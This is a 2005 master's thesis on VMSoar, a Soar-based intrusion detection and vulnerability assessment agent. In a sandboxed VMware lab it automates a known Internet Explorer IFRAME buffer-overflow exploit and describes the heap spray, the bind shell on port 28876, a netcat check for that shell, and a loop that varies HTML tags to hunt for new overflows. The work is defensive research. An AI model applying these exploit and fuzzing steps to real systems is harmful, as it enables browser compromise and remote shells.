Implementing exploits in VMSoar

By

Kjetil F. Hafstad

Submitted in partial fulfillment
of the requirements for the degree of
Master of Science
in Computer Science

at

School of Computer Science and Information Systems

Pace University

May 2005
Thesis Signature (Approval) Page

I hereby certify that this thesis, submitted by Kjetil F Hafstad, satisfies the thesis requirements for the degree of Master of Science and has been approved.

_______________________________________________ - ____________
Dr. D. Paul Benjamin      Date
Thesis Advisor
School of Computer Science and Information Systems
Pace University
Abstract

VMSoar is a cognitive network security agent. Its tasks include intrusion detection and vulnerability assessment on computers connected to a network. VMSoar benefits from Soar’s cognitive architecture. When solving its task it learns and speeds up with experience, this models human cognition. VMSoar uses VMWare to make virtual copies of the physical machines on its network. It creates an isolated secure environment for performing its task on the virtual network.

In this thesis we implement an Internet Explorer buffer overflow exploit. This exploit is used to attack a virtual Windows XP machine, while VMSoar analyses the traffic and attempts to detect the malicious activity. We use Ethereal to capture copies of HTML files from the network. Java parsed out the HTML tags and their attributes and passes this information to Soar.

We also attempt to apply this exploit to other IE tags, using a combination of Java and Python to run a completely automated test, searching for new vulnerabilities.
Appendix A – Scripts and Code

A.1 genHtml.py
A.2 startTcpdump.sh
A.3 startVirtualXP.sh

Appendix B – Misc. Files

B.1 Iframe.html

Appendix C – VMSoar Framework Components and Interfaces

C.1 VMWare WorkStation Network
C.2 Virtual Machine Creation
C.3 Taking a Snap Shot of the Virtual Machine
C.4 Creating a Sub-State of a Virtual Machine

Bibliography

List Of Abbreviations

IDS  Intrusion Detection System
IE   Internet Explorer
XP   Windows XP
WMS  Working Memory Element
HTTP Hyper Text Transfer Protocol
TCL  Tool Command Language
TCP  Transfer Protocol
HTML Hyper Text Markup Language
SSH  Secure Shell
1. Introduction

VMSoar is a cognitive network security agent designed for both network configuration and long-term security management. The VMSoar project is currently under development and only portion of it is implemented. VMSoar distinguishes itself from other IDS by its use of Soar, a cognitive architecture. Soar has the ability to learn from experience, and it has exhibited human-level performance on a variety of tasks. The latest addition to the VMSoar project was a network security agent, called Boar. Boar focuses on the intrusion detection part of VMSoar.

The other main component of VMSoar is vulnerability assessment. This thesis focuses mainly on the vulnerability assessment aspect.

There was already a small implementation of this present when we begun working on it. The existing solution was based one certain exploit, and the code was specific to the functionality of this exploit. We decided a more general approach would be needed to better accommodate the software for the requirements of VMSoar.

A solution was implemented that allows communication between the virtual machines and the host machine, as well as remotely executing commands from the host machine on the virtual machines. With this implementation a ported exploit can be fully automated since arbitrary commands can be executed on the virtual machines. Although the host machine itself does not actively participate in any attack, it is the central element that controls the flow of an attack by initiating processes and commands on the virtual machines.

A few known exploits were ported into VMSoar to be used in the vulnerability assessment process. There are a myriad of known exploits to be found on various network security sites, and working proof-of-concept code is available for most of them. A number of them were evaluated before choosing an Internet Explorer buffer overflow exploit. During our exploit testing and implementation we encountered many obstacles, and found ourselves constantly having to rethink the implementation. Many of these
issues were hard to predict and that cost us quite a bit of time. These problems primarily related to problems with maintaining a stable network connection between the virtual machines and the host machine.

Ensuring we have a sound and stable network connection is vital in this setting. When VMSoar is performing vulnerability assessment it will launch attacks on virtual copies of machines in the network it is managing. This will initially be a very long process, and since it is independent of human interaction it is essential that the communication between host machine and the virtual machine is not broken. The fatal effect of such a communication error can be failure to bring the virtual machine back to a clean state between attacks.

Establishing a robust framework involved replacing some of the java code with python scripts. Python’s high level data types and dynamic typing allowed us to write much shorter and simpler code that what it replaced. Python and Java makes a great combination, as Python is suited as a ‘glue’ language. Python worked so well for us that we used it for implementing our next exploit, popularly called the “IFRAME exploit”. This exploit takes advantage of buffer overflow vulnerability in Internet Explorer. We soon realized that this exploit might have some potential beyond its documented impact. This led us to take a detour from our current work to explore this potential. We used a python script to run a loop that generated variations of this exploit and then tested it on the virtual Windows XP machine.

The development and research described in this thesis has been done by Tom Achtemichuk and Kjetil Hafstad.
This thesis does not cover a complete solution or product by any means; it is only a documentation of conducted research and development on the VMSoar project.
2. Goal of VMSoar

VMSoar is a project currently under development, lead by Professor Paul Benjamin at Pace University. The Boar project completed by Archana Perumal Fall 2004 dealt mostly with the intrusion detection component of VMSoar. This thesis focuses mainly on the other main component in VMSoar, Vulnerability Assessment. Since you cannot really discuss the one without touching elements of the other, intrusion detection is also discussed in this thesis.

VMSoar combines vulnerability assessment and intrusion detection in one package. VMSoar is connected to VMware so that it can create virtual copies of the machines on the network. When VMSoar is performing intrusion detection it reads the packets on a physical network and tries to generate the same sequence of packets in its virtual environment. This way VMSoar learns how to generate a wide selection of user behaviors. Soar will be able to draw quick conclusions based on the user behavior it observes on the network, the process will speed up over time.

The important learning mechanism provided by Soar is a central element in VMSoar. As behavior that constitutes harmful, illegal or unwanted activity is saved as ‘chunks’, Soar will recognize these events in the future, thereby speeding up VMSoar’s reaction time. The concept of chunking is further explained in the Soar section of this paper.

VMSoar tries to explain the packets it sees on the network by attempting to regenerate the packet sequence using different behaviors that it knows of. You can say that it tries to understand the goal of a user.

VMSoar performs vulnerability assessment by launching attacks on virtual copies of its physical machines, and performs intrusion detection by launching attacks on virtual copies of itself.
With time VMSoar will become more and more accurate in detecting intruders and malicious activity on the network. VMSoar will also speed up considerably in its vulnerability assessment procedure as it (Benjamin, Shankar-Iyer & Perumal, 2004)

3. Development Environment

3.1 Platforms
Windows XP
Red hat Fedora Core 2 Linux
Debian Linux

3.2 Software
Python version 2.3.3
VMware Workstation version 4.5.1
Java 1.4.2
SOAR 8.5.2

3.3 Tools
Tethereal 0.10.9
Tcpdump 3.8
OpenSSH 3.6.1p2, SSH protocols 1.5/2.0
Telnet
3.4 **Ethereal/Tethereal**

Ethereal is a network traffic analyzer, or “sniffer”. It can capture and display from any network interface on a UNIX or Windows system. Ethereal decodes numerous protocols. We used this tool to monitor our virtual network. Tethereal is the text based (console) version of Ethereal. We used shell scripts to start and stop Tethereal from our software. The reason for choosing Ethereal instead of any other traffic analyzer, such as Tcpdump, is the ability to specify read and capture filters for numerous protocols. It's strength lies in its ability to decode captured binary network traffic into a human and program readable form.

3.5 **Other tools**

3.5.1 **Mangleme**

Mangleme is an automated broken HTML generator and browser tester originally used to find dozens of security and reliability problems in all major Web browsers. We used the source code of Mangleme for a reference to HTML tags. For more information on this tool, visit [http://freshmeat.net/projects/mangleme](http://freshmeat.net/projects/mangleme)

3.5.2 **HTMLer**

HTMLer is a Python port of the original Mangleme with added quirks such as MIME types and URL types. For more information on this tool, visit [http://addict3d.org/index.php?page=viewarticle&type=security&ID=2417](http://addict3d.org/index.php?page=viewarticle&type=security&ID=2417)

HTMLer is a command line driven application, unlike the original Mangleme. It will create a plethora of broken HTML pages in a subdirectory under the directory in which it is run from. The files are linked in the sense that opening one in a browser will cause the browser to open the next one automatically using HTML refresh. As we did with
Mangleme, we used HTMLer to generate HTML files and studying the different factors that would crash Internet Explorer.

4. VMSOar Components

4.1 VMware
VMware Workstation allows users to run multiple x86 based operating systems on a single PC in a network. The computer running the VMware Workstation process is called the host machine. The instances of operating systems in VMware are referred to as guest virtual machines. A virtual machine can be paused, and reverted to the state it was paused in to continue execution from where it was paused. This provides great flexibility without having to restart the system. This is essential for tasks involving exploiting software on a machine, since we can quickly undo any ‘damage’ done to a machine and go back to a clean state. A virtual machine can also easily be ported from one physical machine to another.

4.2 How Does VMware Workstation Work?
The VMware webpage summarizes in the following way:

*VMware Workstation works by creating fully isolated, secure virtual machines that encapsulate an operating system and its applications. The VMware virtualization layer maps the physical hardware resources to the virtual machine's resources, so each virtual machine has its own CPU, memory, disks, and I/O devices, and is the full equivalent of a standard x86 machine. VMware Workstation installs onto the host operating system and provides broad hardware support by inheriting device support from the host.*

(http://www.vmware.com)
4.3 Guest Virtual Machine Settings

4.3.1 Windows XP
Memory: 128MB
Virtual Disk (IDE 1:0): Compact
DVD/CD-ROM (IDE 1:0): using drive /dev/cdrom
Network Adapter: Host-only
USB Controller: Present
Sound Adapter: Using device /dev/dsp
Mouse: Autodetect
4.3.2 Debian Linux

<table>
<thead>
<tr>
<th>Resource</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory</td>
<td>32MB</td>
</tr>
<tr>
<td>Virtual Disk (IDE 1:0)</td>
<td>Compact</td>
</tr>
<tr>
<td>DVD/CD-ROM (IDE 1:0)</td>
<td>using drive /dev/cdrom</td>
</tr>
<tr>
<td>Network Adapter</td>
<td>Host-only</td>
</tr>
<tr>
<td>USB Controller</td>
<td>Present</td>
</tr>
<tr>
<td>Sound Adapter</td>
<td>Using device /dev/dsp</td>
</tr>
<tr>
<td>Mouse</td>
<td>Autodetect</td>
</tr>
</tbody>
</table>

Figure 2: Virtual Windows XP Configuration

All these resources are taken from the host machines physical resources. The setup for both guest virtual machines is equivalent, except for memory allocation. Due to limited physical memory on the host computer, we ran the virtual Linux machine on its minimum required memory. All these settings can be altered after creation of a guest virtual machine as the user see fit.
4.4 Networking Host Machine with Virtual Machines

The most important option here is the Host-only selection for the Network Adapter. Selecting Host-only creates a private network shared with the host. This is necessary to be able to communicate between the virtual machines and the host machine. Exposing the virtual machines to any physical networks, including the internet, is not a good idea for this system as this could allow any malicious activity to spread.

Figure 3: Generic VMware Network Model using the host-only option for networking. A virtual network is created between the host and the virtual machines. Only the host is exposed to the physical network.
4.5 Our Virtual Machines

We have VMware configured with two guest virtual machines. One Windows XP with no Service Packs and a Debian Linux installation. The Windows XP machine functions as the target to be exploited by the Linux guest virtual machine. The virtual Linux machine has the role of ‘exploiter’.

4.5.1 Reverting to a saved state
A very useful feature in VMware is the ability to take a snapshot of a virtual machine’s state. Using the snapshot feature, the state of the virtual machine is saved, and can quickly be restored at any point in time. The effect of this is like pausing the machine, when you revert to the snapshot it will continue execution where it left off. This allowed us to perform attacks and insert viruses on the virtual Windows XP machine, and bring it back to its original state with great ease. This was a very important to us, since we needed the Windows XP machine to be in the same state for each attack. Launching consecutive attacks on it without resetting would make it extremely difficult to determine which of the attacks succeeded. Not resetting the state of the virtual machine could also result in it becoming unstable thereby leading to unexpected behavior.

We drew great benefit from this in the Internet Explorer IFRAME exploit as every exploit attempt could cause Internet Explorer to crash. After each exploit attempt we simply closed down the virtual machine and restored its state using the previously saved snapshot, this ensured that every exploit attempt was executed in the same environmental parameters. This also saved total execution time of a test cycle, as reverting to a saved state is quicker than rebooting the virtual machine. Being able to bring the virtual machine back to a clean state provided stability, which was of great importance to us. Especially since we wanted to leave our test runs over long periods of time, without the necessity of being present during the entire test.
4.5.2 Communication and Protocols
We also had to be able to communicate between the host system and the virtual machines. It was necessary for us to be able to execute shell commands over the virtual network and use services as ftp, telnet and SSH. To achieve this we used secure shell to remotely execute commands on the virtual Linux machine. Linux to Linux is straightforward using ‘ssh root@<IP address>’. We also wanted to execute commands on the virtual Windows XP machine without having to deal with the trouble of entering a password, which would have made our program more complex to write. Setting up OpenSSH with key authentication on the virtual Windows XP machine took care of that. Unfortunately, we experienced some problems with OpenSSH as it would randomly go down or time out. As we were dependent on leaving our program running over nights without supervision, this situation was not satisfactory. We found a great workaround for this in Python’s native telnet client. We continued using the OpenSSH server for manual control, and used telnet for our software. With this setup we can control all virtual machines from the host machine, both from command line and through code. We can remotely execute any command on both virtual machines from the host machine, and also between the two virtual machines.

4.5.3 Monitoring network traffic
Being able to capture the data traffic between the two virtual machines was also a concern. This was implemented using Ethereal’s text based version Tethereal. Since the host machine and the virtual machines all belong to the same network we could easily apply a filter to Ethereal so that it captures only the kind of traffic we are interested in, as well as only traffic between certain machines.

The –i switch specifies the interface to capture on, in this case our virtual network. The –f switch applies the capture filter, TCP traffic on Port 80. The –R switch applies a read filter, here we specify HTTP traffic. Finally, the –w switch enables writing of the captured data to a file.
The Tethereal process is executed on the host machine.
The reason for capturing this traffic data is to enable Soar to perform vulnerability assessment and intrusion detection.

![Diagram](https://via.placeholder.com/150)

Figure 4: This models our virtual machine environment together with host machine, and the communication protocols used between the machines.

5. Soar

Soar is a unified architecture for developing intelligent systems, developed by John Laird, Paul Rosenbloom, and Allen Newell starting in 1982 at Carnegie Mellon University. Soar models cognitive human behavior, achieving an approximation of complete rationality. It has been applied to a number of different tasks such as human computer interaction, natural language, video games, combat simulators, typing, and verbal reasoning. Soar's strengths are in integrating knowledge, planning, reaction, search and learning within a very efficient architecture. Soar has a single framework for all tasks and subtasks (problem spaces), a single representation of permanent knowledge (productions), a single representation of temporary knowledge (objects with attributes and values), a single
mechanism for generating goals (automatic subgoaling), and a single learning mechanism (chunking).
Every decision is based on the current interpretation of sensory data, the contents of working memory created by prior problem solving.

5.1 Soar’s execution cycle
Consists of five phases, quickly summarized:

- Input-Phase
  - New data entered into Soar’s working memory
- Proposal
  - Productions fires and retracts in response to the current state. Operators for the current state are proposed.
- Decision
  - The selection of a new operator, subgoaling may occur in the process of selection.
- Application
  - The selected operator is applied.
- Output
  - Output commands are sent to external environment.

5.1.1 Productions
Soar represent its knowledge by productions. Productions are IF-THEN pairs, and can be viewed as the rules of a system. The productions describe the state of the world, as well as define what actions need to be taken in a particular state.
For instance consider the following IF-THEN structure from “An Introduction to Soar Programming” (Rieman, John).

IF it’s noon THEN it’s lunchtime
IF it’s lunchtime and it’s Friday
  THEN skip lunch and exercise
IF it’s lunchtime and it’s payday
    THEN eat a big steak at Fred’s Diner.

This is not Soar syntax, but it is similar in context.

5.1.2 Operators
Operators are the mechanism in Soar that represents carrying out an action. In the previous example, an operator would be ‘skip lunch and exercise’ or ‘eat a big steak at Fred’s Diner’.
When productions fire they may propose operators

Soar has an elaboration cycle and a decision cycle. In the elaboration cycle any matching productions fire, and may propose an operator. Next, in the decision cycle Soar tries to apply the best matching operator. Operators are given preferences to aid in the selection.

5.1.3 Subgoaling
A state represented by productions may come across conflict resolutions.

Clearly, this may lead to a conflict if payday lands on a Friday. Soar resolves this impasse by using a mechanism called subgoaling. Soar suspends its current task and creates a new goal of finding a resolution to the current impasse. There are other situations as well, where subgoaling will be employed.
Sometimes no operators will be proposed, this is referred to as a ‘state no-change’ impasse, and in this case Soar must subgoal to find an operator to apply. There may also be times where multiple operators with the same preference are proposed, an ‘operator tie’ impasse. These are opportunities for Soar to create a subgoal. Sub goals are called recursively, meaning that if an impasse occurs while Soar is in a subgoal state; it creates a new subgoal, a sub-subgoal and so on.
5.1.4 Chunking
When learning is turned on, any time Soar performs a subgoaling procedure it stores its solution in a chunk, or a set of rules that match a specific state and outcome. Next time the same problem occurs the chunk is proposed as it was an operator, and the search for a solution can be skipped. This way Soar learns and speeds up with experience.

6. VMSoar Software Development

6.1 The existing solution
Initially we started working on the existing VMSoar project. Our task was to continue the work that had been done on this project. The current status of the VMSoar project was a java application connected to Soar and VMware that carried out an exploit on a Windows NT server. This was written in Java using Perl scripts for auxiliary tasks. The Java code was somewhat overly complicated considering its relative modest tasks. It made use of the org.apache.commons.net package for services as Telnet, FTP and a few other network communication protocols. This package consisted of a lot of classes we had no need for, and the Telnet class provided a lot more functionality than we required.

In VMSoar Telnet was used as a step in an attack on the virtual Windows NT machine. This attack was written step by step in Java code and executed from the Host Machine and not from another virtual machine, which was our objective. We concluded that if we would need to use Telnet from the java on the host machine, it would primarily be auxiliary tasks such as initiating actions on the virtual machines, not as any part of an attack. Stripping the code of these classes, cleaned things up a bit, but it also broke lot dependencies. We figured the best line of action would be to start pretty much from scratch and add only what we needed from the old project as we went along.
We wanted to keep the Java->Tcl->Soar environment which was already in place.

At this point we had the two virtual machines communicating and Soar was running with the input and output links of Soar functioning smoothly. We started off by letting Soar propose to ping the two virtual machines from the host machine to confirm that they were alive. An easy task mostly to control that all components were working as intended.

It was time to try something more challenging. As our vision was to extend VMSoar’s capability of carrying out attacks on the virtual machines, we needed some exploits to explore with.

We started off with downloading a few exploits and applying them manually to the virtual Windows XP machine. We needed to test the effect of the exploit, and also how we would be able to measure its effect in an automated fashion.

We configured Tethereal to monitor traffic on the virtual network while the virtual Windows XP machine downloaded a webpage from the virtual Linux machine. Java read the Tethereal capture data and passed it to Soar. At this point in time we had not written any production for Soar to apply to the input. In fact, as close as we thought we were to start writing some productions, we still never ended up doing it. This was foremost due to all the technical trouble we were about to come across.

### 6.2 Integrating Java-Tcl-Soar

We have embedded Tcl within Soar, this is achieved with Feather. Feather is a public domain Java package created by Alden Dima. We use the Linux build created by Robert I. Follek. The Feather package makes a Tcl interpreter available as an object to Java. This way Java can call Tcl scripts and dynamically create Tcl scripts as Java strings. As the final touch to bring it all together we take use of SoarSession.java that creates the Feather object and initializes Soar.
To allow two way communications between Java and Soar, we have to configure the input and output links of Soar in Tcl. The Tcl script vmsoarIO.tcl allows us to update working memory elements (wms) of Soar as well as defining the normal input cycle.

As earlier explained we use the virtual Windows XP machine to view a HTML page located on the virtual Linux machine using Internet Explorer. With Tethereal running in the background we capture the traffic between the two virtual machines. With a read filter configured with Tethereal we can specify that we want the HTTP traffic written to a file on our host machine. We now have copy of the HTML file.

**6.3 Passing Data to Soar**

Next, we want to pass the HTML information to Soar for evaluation. In the java code we have a thread that controls the execution of the program. This thread's run method loops through the input and output procedures of Soar as long as no message is given from Soar to stop.

First we check Soar’s output link for any new commands to be carried out. If any commands are issued by Soar, Java delegates the execution of the command to the responsible part of the system. It could be processes or commands on any of the virtual machines, or any Java method.

**6.4 Getting Commands from Soar**

When the command is completed a message is sent to Soar to indicate that the command as been completed and any operators related to the command can be removed. This is an important action, as we could failure to remove the command would results in an operator-no-change impasse in Soar.
6.5 Parsing the HTML File

After the command phase is completed, we continue to the second part of the loop: Soar’s input-link. For this particular program we use a Java File Reader to open captured HTML file. This file is then parsed using the Java HTMLEditorKit’s parser and parserCallback classes. By extending the ParserCallBack class in our own Parse class we can customize actions to take for certain tags. The current implementation looks for specific tags and checks their attributes for illegal values. For example if there is a FRAME or IFRAME with very long strings for the NAME property, we consider this a malicious tag.

Since Soar has limitations in regards to String manipulation we get the length of the String in the parsing method. We then append it to the tag instead of the actual String value, which really is of no use for Soar in this context.

Our extended method handleSimpleTag passes tag information to Soar using the Tcl method eval(String Command). The command sent to this method must match the logic and variables written in vmsoarIO.tcl. This Tcl file is then responsible for updating the Working Memory Elements of Soar to reflect the new tags.

6.5.1 Update Soar’s Working Memory Elements

This causes Soar to evaluate the new wme’s. Depending on the HTML tag data Soar elaborations may fire and Operators may be proposed and applied.

If any applied Operators require Java to perform any tasks, the command is put on Soar’s output link and will be executed at the top of the Java loop again.

6.5.2 Sample Soar Productions

This production is an elaboration that checks if the length of any NAME attribute is over some threshold length. If any is found it is appended to the state as an illegal attribute.

```
sp {elaborate*illegal*tag
  (state <s> ^superstate nil)
```
Propose and operator if the `^illegalNameAttribute` is on the state.

```lisp
sp { propose*illegal-Name-Attribute-operator
  (state <s> ^superstate nil)
  (<s> ^illegalNameAttribute)
-->
  (<s> ^operator <o> +)
  (<o> ^name illegalNameAttribute)
}
```

Apply the operator and put some command on Soar’s output-link.

```lisp
sp {apply*long-string-operator
  (state <s> ^io.output-link <ol>
    ^operator <o>)
  (<o> ^name illegalNameAttribute)
-->
  (<ol> ^command <com>)
  (<com> ^name commandName )
}
```

### 6.5.3 VMSoar Sample Run

The following is a sample run of VMSoar. In this run a HTML file with a Frame Tag is parsed by Java and passed to Soar. The simple Soar productions for this example is located Appendix A.

```
0: ==>S: S1
--- Input Phase ---
==>WM: (5: I1 ^output-link I3)
==>WM: (4: I1 ^input-link I2)
```
Here you can see that a FRAME tag is found. The length of the NAME and SRC attributes are appended on to the tag in the following fashion:

Htmlobject $\rightarrow$ tag
$\rightarrow$ tagtype FRAME
$\rightarrow$ tagname 623
$\rightarrow$ tagsrc 585

$\rightarrow$ other attributes would be appended in the same fashion when present.

With this approach an htmlobject can have multiple tags, which again can have multiple attributes.

Next, we have a look at the proposal phase:

--- Proposal Phase ---
--- Firing Productions (IE) ---
Firing elaborate*illegal*tag
-->  
******************************
WARNING! --> illegal Name Attribute value: 623
String is too long.
******************************
(S1 ^|illegalNameAttribute| 623 +)
Firing elaborate*current-cycle-time
-->  
(I2 ^currentcycletime 1.11593e+12 +)
--- Change Working Memory (IE) ---
=>WM: (16: I2 ^currentcycletime 1.11593e+12)
=>WM: (15: S1 ^|illegalNameAttribute| 623)

Here we see that the long name attribute string is found, this causes an elaboration to fire and appends a working memory element to reflect this to the state, S1.

--- Proposal Phase ---

--- Firing Productions (IE) ---
Firing propose*illegalNameAttributeLength
-->  
(O1 ^name |illegalNameAttributeLength| +)
(S1 ^operator O1 +)
Firing elaborate*current-cycle
-->  
(I2 ^currentcycle I5 +)
--- Change Working Memory (IE) ---
=>WM: (19: S1 ^operator O1 +)
=>WM: (18: I2 ^currentcycle I5)
=>WM: (17: O1 ^name |illegalNameAttributeLength|)

Next, the working element appended causes an operator proposal to fire.

--- Decision Phase ---
=>WM: (20: S1 ^operator O1)
--- Application Phase ---

--- Firing Productions (PE) ---

Firing apply*illegalNameAttributeLength

--> 
(C1 \^name |generalCommand| + :O )
(I3 \^command C1 + :O )

--- Change Working Memory (PE) ---

=>WM: (22: C1 \^name |commandName|)
=>WM: (21: I3 \^command C1)

The proposed operator is chosen since it is the only one proposed. This operator puts a command on Soar’s output-link.

--- Application Phase ---

--- Output Phase ---

****passCommandToVMDriver method called***
commandName passed to Java.

****passCommandToVMDriver method exit***

=>WM: (23: C1 \^status complete)

Finally, the Java code receives the output-link command and carries out appropriate action. When completed a message is sent to Soar again to signal that the command is completed and can now be removed. This is done by appending \^status complete.
6.6 Exploiting Internet Explorer

We originally started out doing our programming in Java. After running into numerous problems, especially related to communication between the host machine and the guest virtual machines, we decided to switch to Python. Python was a lot easier to work with in a small-scale program like this. This program is currently only supposed to be a basic framework, and should be expanded in the future. Python is also considered good for prototyping components to later be written in java.

6.7 The “IFrame Exploit”

By overflowing the NAME parameter in an IFRAME tag, Internet Explorer mishandles the string and dereferences a memory location. To exploit the vulnerability a heap is prepared in JavaScript by filling memory locations with NOP instructions, to create a NOP-slide, followed by any shell code to be executed. If the dereferenced memory address falls within the NOP-slide, the shell code will be executed. The shell code used in the example binds a shell to a specific port giving the attacker the privileges of the user running Internet Explorer.

We wrote a script that generates versions of the known Internet Explorer FRAME SRC and NAME Property Buffer Overflow (PoC) (see appendix for a detailed explanation of this exploit). Our goal was to see if we could apply this exploit to any of the other tags using the NAME attribute. We chose this particular exploit because it seemed to be highly customizable in respect to varying the different tag properties in the HTML code. And also try it with other HTML tags in an automated fashion. With time, it was our intention to have Soar learn HTML. Using this knowledge Soar would be able to distinguish between valid and invalid HTML structure. With this knowledge in place Soar could actively try to craft illegal HTML code in an attempt to exploit a virtual machine. To achieve this Soar would also have knowledge of illegal HTML, meaning potentially malicious.

For example, Soar could tell that the overly long string provided with the IFRAME exploit could potentially be dangerous.
A lot of tags uses the NAME property, the exploit has been successfully tested on three of them; IFRAME, FRAME, EMBED. According to MSDN DHTML reference there are 6 different categories of the NAME property, where IFRAME and FRAME are in the same, but EMBED in a different category. This could imply that more of the tags with the NAME property are vulnerable.

When Service Pack 2 was released for Windows XP this bug was fixed. Did Microsoft know about the bug, or was it merely fixed by accident? If so, chances are the scope of this vulnerability is greater than first assumed. Although we did a great bit of testing with this exploit, we were not able to reproduce the bug for any other tags. However, this does not mean that it is not possible, since we may not have found the correct parameters for the exploit.

We conducted tests on various tags with the implemented exploit.
Including IFRAME, FRAME, FRAMESET, EMBED, IMG, SCRIPT, A.
We have not been able to apply the exploit to any new tags. We realized that in order to take this approach to the next level, we would have to disassemble the exploit and analyze it. The key is to prepare the heap blocks containing NOP instructions and shell code in accordance to the deferenced memory address. We considered this work would be outside the scope of the project at this time. It may be an interesting study for future development of VMSoar.

6.8 Running the tests
Our python script, runTest.py contains a loop that creates a new HTML file. These files can be given any parameter value for any tag, and the values can be incremented each loop. We used this as a systematical way of searching for buffer overflows in Internet Explorer using various html tags.
After the new html file has been generated it is copied from the host machine to the virtual Linux machine. Next, the virtual Windows XP machine requests this html with an Internet Explorer process.

How do we know if the exploit worked? The shell code contained in the html file tries to bind a shell to a specific port. If it did work we should be able to remotely connect to the Windows XP machine on this port.

Since the checking is all done in the script we don’t need to get a shell back, we can simply issue a netcat command with a “-zv” switch. This command returns a value indicating whether or not the submitted port is open or not. If the port is open, it means the exploit was successful and we could have connected to the virtual Windows XP machine. Further we copy the html file to a specific folder for storing all the successful html files. If the return value of the netcat command indicates that the port was not open, we wait a preset amount time before trying again. The time needed for the exploit to come into effect differs from run to run, but it appears to be in the interval of 35-70 seconds. We continue this check and wait scheme until either it succeeds or until we reach a preset timeout limit, in the latter case we label the html file not successful. We then delete this file from the system and revert the virtual Windows XP machine to the saved snapshot, to prepare it for next attack. Next, we reenter the loop, create the next html file and repeat this scheme.

It quickly becomes clear that this is a time consuming process, especially considering most attacks will not succeed. There is a time schedule around three minutes for each non successful attempt.

The python script is executed on the Linux host machine. Before running it we have started the Virtual Linux machine, which will not be stopped our restarted for the duration of the test. The virtual Windows XP machine should not be running on beforehand, the code itself takes care of starting and stopping it.
6.8.1 runTest.py
The following steps constitute an iteration of the loop:

1. Generate new HTML file based on the current state of the parameters in the loop.

2. Start up the virtual Windows XP machine using a saved snapshot.
   ```python
   processId = os.system('/home/kjetil/eclipse/workspace/VMSoar/netUtils/printId.sh')
   ```
   This runs a shell script printId.sh:
   ```sh
   #!/bin/sh
   vmware -x /home/kjetil/vms/WinXP/WinXp.vmx &
   exit $$
   ```
   printId.sh starts up a new copy of the saved snapshot and backgrounds the process. It then exits with exit code set to the process id (PID) of the newly started vmware process. This value is later used to kill the process.

3. Upload the html file to the virtual Linux machine. Considering that we want the virtual Windows XP machine download this html file from the virtual Linux
machine, we need to move the file from our host machine to the virtual Linux machine.

```python
os.system('scp ./html/' + filename + ' root@linux:/var/www/testing/' + filename).
```

4. Make the Virtual windows XP machine request the html file from the virtual Linux’ server. We used python’s native telnet class for doing this.

```python
telnet.write('"C:\Program Files\Internet Explorer\iexplore.exe"
http://linux/testing/' + filename)
```

This command spawns an Internet Explorer process on the virtual Windows XP machine. The IE process requests an html file located on the virtual Linux machine. This is no different than a user entering the URL or clicking on a hyperlink representing that URL.

![Figure 6: The Internet Explorer process was invoked from the python code using telnet. This IE process is currently 'viewing' one of the exploit HTML files located on the virtual machine.](image)

5. We now have an IE process reading the maliciously formed HTML file on the virtual Windows XP. Independent on whether or not the malicious code gets executed, this file still triggers a bug in Internet Explorer, causing it to slowly crash. Checking if our exploit was successful is easy, we just issue a netcat command on the relevant port, 28876. i.e. `netcat xp 28876`. If the exploit succeeded we should get back a shell, giving us control over the virtual Windows XP machine. However, since this is all done in the python script we have no
interest in that shell here, we just need to know if we could have gotten it. By adding the –zv switch to the netcat command, we get a simple return value indicating whether the port was open or not. And that’s all we needed to know.

\[
\text{result} = \text{os.system('nc --zv xp 28876')}\]

The value of the return code is saved into a variable result. If the value of result is not equal to 0 we issue the same command every three seconds with a timeout limit of 150 seconds. If we reach 150 seconds without getting a positive value back, we conclude that the exploit attempt was unsuccessful.

![Figure 7: The exploit triggers the bug in Internet Explorer.](image)

6. Next we want to prepare for a new exploit attempt. Before we can restart the loop we must shut down the existing process of the virtual Windows XP machine. It will be restarted once execution returns to the beginning of the loop.

We kill the vmware process running windows XP.

\[
\text{os.system('ps aux | grep 'vmware --x.*WinXP' | grep -v 'grep' | awk '{print $2}' | xargs kill -9').}
\]

Or

\[
\text{os.system('kill processId').}
\]

Using the process id returned in step 2.
At this point we either reenter the loop or the program goes on to print its final statistics.

![Flow Chart](image)

**Figure 8: Flow Chart describing the flow of an iteration of the loop.**

### 7 Exploits
Finding known exploits on the Internet is no problem, there are quite a few out there. Information on most of them can be retrieved from various Internet Security websites, like [www.securiteam.com](http://www.securiteam.com).

Off course, any exploit to be considered, needed to work with Windows XP without service packs. Today Internet Explorers market position is as threatened as ever, with Mozilla Firefox and Opera stealing market share. Users seem to be more aware of the security weaknesses in Internet Explorer, and many have switched to the alleged more
secure Firefox and Opera. Although none of them can be said to be without flaws, they are considered safer. Our choice of an exploit that targets a buffer overflow vulnerability in Internet Explorer was made simply because it is still the most used browser worldwide, and more important that it comes as standard with the Windows Operating System. Another factor we had to take into account was the ability to audit any malicious activity on the network as the exploit was executed. The IFRAME exploit possessed all these requirements, and the fact that it had one clear distinguishable element that triggered the vulnerability made it even more desirable.

These are some of the other exploits we considered implementing.

**Microsoft Windows XP/2000 Remote Return into Libc Exploit (RPC, DCOM)**

**Microsoft ASN.1 Library Buffer Overflow Exploit**

**Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002)**

**JpegOfDeath - an Advanced JPEG (GDI+) Exploit. (Buffer Overrun in JPEG Processing (GDI+) Allows Code Execution (MS04-028))**

The main reason for choosing the “IFRAME” exploit was that pointing out the malicious part is easy. You can tell straight away from looking at the html file that it contains a very long string.

### 7.1 Buffer Overflow Attacks

Buffer overflow problem is a major concern in security vulnerabilities. A buffer is a contiguous allocated chunk of memory, such as an array or a pointer in C or C++. There are no automatic bounds checking on the buffer, which means a user can write past a buffer for example:

```c
Int main() {
    Int buffer [10];
```
Buffer[20] = 10;
}
The above C program is a valid program, and every compiler can compile it without errors. However, the program attempts to write beyond the allocated memory for the buffer, which might result in unexpected behavior. The C programming language is especially prone to buffer overflow attacks since it has no built-in bounds checking. (http://www.linuxjournal.com/article/6701)

A buffer is a contiguous block of memory of the same data type. The most common buffer overflow attacks are stack-based buffer overflows. A stack is an abstract data type with a Last In First Out (LIFO) property. A register called the stack pointer points to the top of the stack. A buffer overflow occurs when you stuff more data into a stack then its allocated size, thereby overflowing it and overwriting consecutive data. Using this method, skilled hackers can take control of instruction execution by overwriting the return address to point to a specific instruction.

Most buffer overflow attacks places some arbitrary code into the program space of the program to exploit, by placing the code to execute in the buffer to be overflowed. Then by overwriting the return address to point back into the code in the buffer.

Finding the correct offset to exploit a buffer is not easy, even if you know the start of the stack. A brute force approach is often not suitable.

